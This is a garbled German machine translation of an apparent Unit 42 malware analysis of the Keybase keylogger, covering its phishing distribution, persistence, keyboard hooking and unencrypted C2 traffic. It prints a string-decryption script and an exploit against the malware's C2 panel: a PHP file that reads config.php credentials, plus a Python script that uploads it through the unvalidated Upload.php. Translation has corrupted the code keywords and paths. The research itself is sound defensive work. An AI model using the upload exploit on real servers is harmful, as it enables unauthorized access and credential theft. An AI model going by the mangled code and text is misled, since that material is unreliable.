Keybase Keylogger Malware-Familie ausgesetzt
Resolution
Nachdruck von der Einheit 42.
In den letzten Monaten hat unser Team eine Keylogger-Malware-Familie namens keybase verfolgt, die seit Februar 2015 in freier Wildbahn ist. Die Malware ist mit einer Vielzahl von Funktionen ausgestattet und kann für $50 direkt beim Autor erworben werden. Sie wurde bei Angriffen auf Organisationen in vielen Branchen eingesetzt und wird überwiegend über Phishing-e-Mails ausgeliefert.
Insgesamt identifizierte Palo Alto Networks Autofokus Threat Intelligence Service in den vergangenen vier Monaten 295 Unique Samples über rund 1.500 Unique Sessions. Anschläge haben vor allem die Hightech-, Hochschul-und Einzelhandelsbranche im Visier.
Malware-Distribution und Ziele
Keybase wurde erstmals Mitte Februar 2015 beobachtet. Kurz zuvor war die Domain ' keybase [.] in ', wurde als Homepage und Online-Shop für die keybase Keylogger registriert.
Domain Name: keybase. In
Erstellt am: 04-Feb-2015 08:27:44 UTC
Zuletzt aktualisiert am: 05-Apr-2015 19:20:38 UTC
Verfallsdatum: 04-Feb-2016 08:27:44 UTC
Diese Aktivität ist im Einklang mit einem ersten Posting, das von einem Benutzer mit dem Griff ' Support ™ ' gemacht wurde, der keybase auf dem hackforums.net Forum am 7. Februar 2015 ankündigt. In der Forums Post gibt die Malware folgende Funktionen an:
- Advanced Keylogger
- Vollständig unerkannte Scan-Zeit und Laufzeit (später entfernt)
- Benutzerfreundliches Web-Panel
- Unicode Support
- Kennwort-Wiederaufnahme
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Forums.png
Abbildung 1. Keybase-Posting auf hackforums.net
Seit Februar 2015 wurden etwa 1.500 Sitzungen mit keybase von Wildfire erfasst, wie wir weiter unten sehen können:
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-2.png
Abbildung 2. Keybase-Timeline im Autofokus
Wir können auch schnell gezielt Branchen mit Autofokus ermitteln:
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-3.png
Abbildung 3. Gezielte Branchen im Autofokus
Die gezielten Unternehmen erstrecken sich über den Globus und befinden sich in vielen Ländern.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-4.png
Abbildung 4. Zielländer im Autofokus
Diese Malware wird in erster Linie über Phishing-e-Mails mit gängigen Köder geliefert. Einige Beispiele für Attachment-Dateinamen sind unten zu sehen:
- Bestell. exe
- New Order. exe
- Dokument 27895. SCR
- Payment Document. exe
- Po #7478. exe
- Überfällige Rechnungen. exe
Ein Beispiel für eine e-Mail, die keybase liefert, können Sie unten sehen.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-5.png
Abbildung 5. Keybase Phishing Email
Insgesamt hat die Einheit 42 eine große Anzahl von separaten Kampagnen mit keybase gesehen. Da die Software von jedermann leicht gekauft werden kann, kommt das nicht überraschend. Wie wir im folgenden Diagramm sehen können, wurden rund 50 verschiedene Befehls-und Steuerungs Server (C2) mit bis zu 50 eindeutigen Samples identifiziert, die mit einem einzigen C2 verbunden sind.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-6.png
Abbildung 6. Keybase-Kampagnen Diagramm
Malware Übersicht
Keybase selbst ist in c# mit dem .NET-Framework geschrieben. Diese Tatsachen ermöglichten es uns, den zugrundeliegenden Code zu dekompilieren und die wichtigsten Funktionen und Eigenschaften des Keyloggers zu identifizieren.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-7.png
Abbildung 7. Keybase-Logo
Die Funktionalität in keybase beinhaltet Folgendes:
- Anzeige einer Website beim Start
- Screenshots
- Herunterladen/ausführen
- Persistenz
- Kill Timer
Wenn die Malware zunächst ausgeführt wird, wird eine Reihe von Threads ausgelöst.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-8.png
Abbildung 8. Keybase-Hauptfunktion
Die verschiedenen Funktionen, die in neuen Threads entstehen, können auf der Grundlage von Optionen, die der Angreifer während des Aufbaus angegeben hat, inert sein. Sollte eine Funktion nicht aktiviert sein, sieht eine Funktion ähnlich aus wie die folgende:
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-9.png
Abbildung 9. Inertfunktionen in keybase
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-10.png
Abbildung 10. Keybase Builder
Der Autor bedient sich einer Reihe einfacher Verdunkelungs Techniken auf verschiedenen Strings, die im Code verwendet werden. Beispiele dafür sind das Ersetzen einzelner Zeichen, die zu Strings hinzugefügt wurden, sowie das Ausführen von Reverse-Operationen auf Strings.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-11.png
Abbildung 11. String-Verschleierung mit Ersatz
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-12.png
Abbildung 12. String-Verschleierung mit Reverse
Zusätzlich nutzt der Autor eine Verschlüsselungs Klasse. Diese Klasse wird verwendet, um eine Reihe von Strings zu entschlüsseln, die im Code gefunden wurden.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-13.png
Abbildung 13. Keybase-Verschlüsselungs Klasse
Verweise auf diesen dekompilierten Code wurden in einem alten Posting auf hackforums.net entdeckt, wo der Benutzer ' Ethereal ' Sample-Code zur Verfügung stellte.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-14.png
Abbildung 14. Verschlüsselungscode-Posting auf hackforums.net
Wir sehen die "decrypttext"-Funktion, die der Autor verwendet, wenn er/Sie dynamisch eine Reihe von Microsoft Windows-APIs lädt.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-15.png
Abbildung 15. Verschleierte API-Funktionen in keybase
Mit dem folgenden Python-Code können diese Strings entschlüsselt werden.
Crayon Syntax Highlighter v 2.6.6
#! / Usr/bin/Python
#-*-coding: Utf-8-*-
Strings = [u "ĈőŘĝŏŒįķŎŖġŎŠĠz", \
u "ŝƕƸšƔưƕŷƔƇżƚƲƕƎƤË", \
u "ķůƒĻŮƊůőŮšŖŴƌůŨž Yen", \
u "ńîƓļůƋŰŒůŢŗŵƍŰũſ", \
u "ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \
u "ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \
u "ňęƇśūŨżşŭƃŚŹťůŝŹƐŠ Yen", \
u "ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \
u "ńűƎřŹŷŴįŴƈŔŧśƀ £", \
u "ŵƢDŽƏʀưƑƋƯƶŻƝØ"]
Schlüssel = ' keybase '
DEF Dec (Str, Key):
key_len = len (Key)
Out = ""
für c, s in Enumerate (str [:-1]):
Out + = Chr (Ord (s)-Ord (Key [c% key_len])-Ord (str [-1]))
wieder raus
für s in Strings:
Print "entschlüsselt:% 25S | Verschlüsselt:% s "% (Dec (s, Key), repr (s))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #! / Usr/bin/Python #-*-coding: Utf-8-*- Strings = [ u"ĈőŘĝŏŒįķŎŖġŎŠĠz", \ u"ŝƕƸšƔưƕŷƔƇżƚƲƕƎƤË", \ u"ķůƒĻŮƊůőŮšŖŴƌůŨž Yen", \ u"ńîƓļůƋŰŒůŢŗŵƍŰũſ", \ u"ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \ u"ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \ u"ňęƇśūŨżşŭƃŚŹťůŝŹƐŠ Yen", \ u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \ u"ńűƎřŹŷŴįŴƈŔŧśƀ £", \ u"ŵƢDŽƏʀưƑƋƯƶŻƝØ" ] Schlüssel = ' keybase ' DEF Dec(Str, Key): key_len = len(Key) Out = "" für c, s in aufzählen(Str[:-1]): Out + = Chr(Ord(s) - Ord(Key[c%key_len]) - Ord(Str[-1]) ) wieder raus für s in Strings: Print "entschlüsselt:% 25S | Verschlüsselt:% s " % (Dec(s, Key), repr(s)) |
[Format Zeit: 0,0047 Sekunden]
Persistenz
Die Persistenz in der keybase, sollte Sie aktiviert werden, wird mit zwei Techniken erreicht, — die Malware in den Startup-Ordner zu kopieren oder den Run-Registry-Schlüssel beim Start auf Autorun zu setzen. Wenn sich keybase in den Startup-Ordner kopiert, benennt es sich selbst ' wichtig. exe. ' Dies wird vom Autor statisch festgelegt und kann vom Benutzer in der aktuellen Version nicht geändert werden. Der Schlüssel, der in der folgenden Run-Registry-Taste verwendet wird, wird vom Benutzer gesetzt und ist immer ein 32 Byte-Hexadezimalwert.
HKCU\Software\Microsoft\Windows\CurrentVersion\Run [32 Byte Taste]: [path to ausführbar]
Keylogger
Die Schlüssel Protokollierung in keybase erfolgt in erster Linie in einer separaten Klasse, die entsprechend "keyhook" genannt wird. Während die Klasse einen Namen mit einem öffentlich zugänglichen Projektarchiv auf GitHub teilt, scheint die Klasse individuell geschrieben zu sein. Während der Custom, die Klasse selbst verwendet eine sehr gängige Technik der Verwendung der Microsoft Windows setwindowshookexa, um die Tastatur des Opfers zu Haken.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-16.png
Abbildung 16. Hooking-Tastatur via setwindowshookexa
Der Autor geht wie erwartet mit entsprechenden Tastatur Ereignissen um.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-17.png
Abbildung 17. Handhabung von Tastatur Veranstaltungen
Die Klasse hat auch die Möglichkeit, Unicode-Zeichen zu handhaben, sowie den Namen des Vordergrund Fensters zu erhalten. Dies ermöglicht es der Malware, nicht nur zu erkennen, welche Schlüssel gedrückt werden, sondern auf welche Anwendung diese Schlüsselmaschinen gesendet werden.
Befehl und Steuerung (C2)
Die Kommunikation mit einem entfernten Server erfolgt über http. Die Daten werden nicht verschlüsselt oder in irgendeiner Weise verschleiert. Nach der ersten Ausführung wird keybase einen ersten Check-in auf dem entfernten Server durchführen, wie wir weiter unten sehen können.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-18.png
Abbildung 18. Erste keybase-Benachrichtigung HTTP GET Anfrage
Eine Reihe von HTTP-Headern sind in der Anfrage nicht enthalten. Dies bietet eine einfache Technik, um die Aktivität als bösartig zu Kennzeichen. Es ist auch wichtig zu beachten, dass es ziemlich elementar ist, die Aktivität mit den in der Anfrage enthaltenen hardcodierten GET-Variablen zu erkennen. Während der Name der Opfermaschine und die aktuelle Uhrzeit variieren werden, bleibt der Rest der Anfrage statisch.
Keybase kann die folgenden Daten auch an den C2-Server zurücksenden:
- Tastenanschläge
- Zwischenablage
- Screenshots
Beispiele für diese Daten finden Sie unten.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-19.png
Abbildung 19. Keybase Hochladen von Clipboard-Daten
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-20.png
Abbildung 20. Keybase-Upload von Tastendruck-Daten
Während dieser Kommunikation mit dem C2-Server wird keybase die RAW-Zwischenablage und die Tastatur-Log-Daten mit verschiedenen Get-Parametern enthalten. Diese Daten sind URI-verschlüsselt, aber ansonsten im Klartext gesendet.
Schließlich wird keybase auch eine bestimmte URI verwenden, um Screenshots hochzuladen. Der Pfad '/Image/Upload.php ' ist innerhalb der Malware hardcodiert. Alle Bilder, die an den C2-Server zurückgesendet werden, werden innerhalb des '/Image/Images/'-Pfades platziert. Hochgeladene Daten werden wieder unverschlüsselt gesendet, wie wir weiter unten sehen können.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-21.png
Abbildung 21. Keybase Upload Screenshot Bild
Web Panel
Das Web-Panel selbst bietet keine innovativen Eigenschaften. Es verwendet ein einfaches rot/graues Farbschema, wie unten zu sehen.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-22.png
Abbildung 22. Keybase Web Panel
Das Panel erlaubt es dem Angreifer, infizierte Maschinen, Tastenkombinationen, Screenshots, Clipboard-Daten und Passwortdaten schnell anzuzeigen. Leider nutzt der Autor von keybase nicht die Pagination, was zu einer schlechten Leistung führt, falls eine große Menge an Daten dem Angreifer angezeigt wird.
Interessante Entdeckungen
Im Laufe unserer Forschung entdeckte Unit 42, dass bei der Betrachtung des '/Image/Images/'-Pfades keine Authentifizierung erforderlich war. Vor allem ein C2-Server sticht heraus, weil es den Anschein hatte, dass der Bediener keybase auf seinem lokalen Rechner testete. Als solche wurden Screenshots seiner Maschine auf seinen Server hochgeladen und konnten von der breiten Öffentlichkeit eingesehen werden. Im Screenshot unten sehen wir deutlich den Ordner ' keybase v 1.0 '. Dieser Ordner enthält mit ziemlicher Sicherheit die keybase-Installation. Beim Betrachten des Desktops des Bedieners können wir auch eine Reihe anderer Keylogger sehen, wie zum Beispiel ' Hawkeye Keylogger ' und ' Knight Logger '. Ebenfalls zu beachten ist ein beliebter Krypter namens ' aegiscrypter '. Schließlich können wir auch sehen, dass der Benutzer sich mit Piraterie beschäftigt, da auch Kopien von "The Hobbit" und "Fury" auf dem Desktop erscheinen.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-23.png
Abbildung 23. Keybase-Operator Desktop Screenshot
Während wir die hochgeladenen Bilder weiterhin untersuchen, identifizieren wir auch den Benutzer, der sich über Remote Desktop in einen Windows-Webserver 2008 R2-Instanz einloggt. Dies scheint der Fall zu sein, an dem der Angreifer seine Spam-Kampagnen mit einer Instanz von "Turbo-Mailer 2.7.10" startet. Leider scheint es, als habe der Betreiber in diesem Moment seinen Benutzernamen/Passwort vergessen.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-24.png
Abbildung 24. Keybase-Betreiber schickt Phishing-e-Mails
Die weitere Untersuchung der hochgeladenen Screenshots zeigt die Aktivität des Nutzers, der sich in seinem Facebook-Account einloggt. Der Benutzer sucht, "China onyeali" genannt zu werden, und wird beobachtet, wie er einige seiner letzten Bemühungen diskutiert. Konkret sehen wir einen Link zu einer. rar-Datei, die auf rghost gehostet wird [.] Netz, das die folgende Datei enthält. Wir sehen auch, wie der Bediener den Hawkeye-Keylogger in einem anderen Chat-Fenster diskutiert. Die Facebook-Seite des Betreibers behauptet, dass er/Sie in mbieri, Nigeria, lebt. Wir haben zuvor über nigerianische Schauspieler berichtet, die aus dem Regal Werkzeuge benutzten, um das Geschäft in unserem Bericht 419 Evolution im vergangenen Juli anzugreifen. Dieser Nutzer wurde dem Facebook-Sicherheitsteam gemeldet.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-25.png
Abbildung 25. Keybase-Betreiber in Facebook eingeloggt
Weitere interessante Entdeckungen
Weitere interessante Entdeckungen wurden bei der Recherche des Backend-C2-Codes gemacht. Insbesondere wurde die Upload. php-Datei untersucht und analysiert, da diese Datei Dateien-Uploads auf den Server handhabt. Wie wir sehen können, gibt es keine Validierung für die Arten von Dateien, die auf den entfernten Server hochgeladen werden.
http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-26.png
Abbildung 26. Keybase Screenshot PHP-Skript hochladen
Dies stellt aus Sicherheitssicht ein Problem dar, da ein Dritter einfach ein PHP-Skript in das "/Image/Images/"-Verzeichnis hochladen kann, um unbefugten Zugriff zu erhalten. Der folgende PHP-Code kann verwendet werden, um das Skript "config. php" zu lesen, das den Benutzernamen und das Passwort für das Web-Panel enthält.
Crayon Syntax Highlighter v 2.6.6
<? Php
$file = '.. /.. /config.php ';
Echo "es funktioniert!". "<br>";
if (file_exists ($File)) {
Echo "lesedatei". "<br>";
Echo file_get_contents ($File);
}
?>
1 2 3 4 5 6 7 8 9 10 | <? Php $file = '.. /.. /config.php '; Echo "es funktioniert!" . "<br>"; If (file_exists($file)) { Echo "lesedatei"."<br>"; Echo file_get_contents($file); } ?> |
[Format Zeit: 0,0047 Sekunden]
Zusätzlich kann der folgende Python-Code verwendet werden, um diese Datei hochzuladen und die Ergebnisse zu lesen.
Crayon Syntax Highlighter v 2.6.6
Import Anfragen
Import sys
If Len (sys. argv)! = 2:
Print "use:% s [php_file]"% __FILE__
sys. Exit (1)
URL = ""
Drucken Sie "Anfrage senden"...
multiple_files = [(' file ', (' Win-JJFOIJGL_6_5_14_22_2. php ', Open (sys. argv [1], ' RB ')))
r = Requests. Post (URL + "Bild/Upload. php", files = multiple_files)
Druck "Ergebnisse:"
r = Anfragen. get (URL + "Bild/Bilder/Win-JJFOIJGL_6_5_14_22_2. php")
Print r. Text
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | Import Anfragen Import sys If len(sys. argv) ! = 2: Print "use:% s [php_file]" % __FILE__ sys. Exit(1) URL = "" Drucken Sie "Anfrage senden "... multiple_files = [(' file ', (' Win-JJFOIJGL_6_5_14_22_2. php ', Open(sys. argv[1], ' RB ') )) r = Anfragen. Post(URL + "Bild/Upload. php", Files=multiple_files) Druck "Ergebnisse:" r = Anfragen. get(URL + "Bild/Bilder/Win-JJFOIJGL_6_5_14_22_2. php") Print r. Text |
[Format Zeit: 0,0028 Sekunden]
Fazit
Insgesamt ist diese keybase-Malware ziemlich unsophimiert. Es fehlt eine Reihe von Funktionen, die in einigen der populärsten Malware-Familien zur Verfügung stehen, und das C2-Web-Panel enthält Sicherheitslücken, die es einem Dritten ermöglichen könnten, unbefugten Zugriff zu erhalten. Der Builder für keybase bietet eine einfach zu bedienende, benutzerfreundliche Oberfläche; Allerdings sind eine Reihe von Optionen in die Malware selbst eingegeben. Einige Beispiele sind die Verwendung des Datei namens, wenn er kopiert wird, um die Persistenz zu erhalten, und verschiedene URI-Pfade, die er während der Befehls-und Kontrollphase verwendet.
Während diese Malware einige Probleme mit der Raffinesse hat, hat Unit 42 einen signifikanten und anhaltenden Anstieg der Nutzung durch Angreifer beobachtet, die in der Regel auf die High-Tech, die Hochschulbildung und den Einzelhandel abzielen. Palo Alto Networks Kunden sind über Wildfire geschützt, das in der Lage ist, keybase als bösartig zu erkennen. Die Leser können auch die für den Einsatz von Schutzmaßnahmen vorgesehenen Indikatoren nutzen.
Eine Liste der Sample-Hashes und der zugehörigen Domains und IP-Adressen finden Sie unter folgendem Link.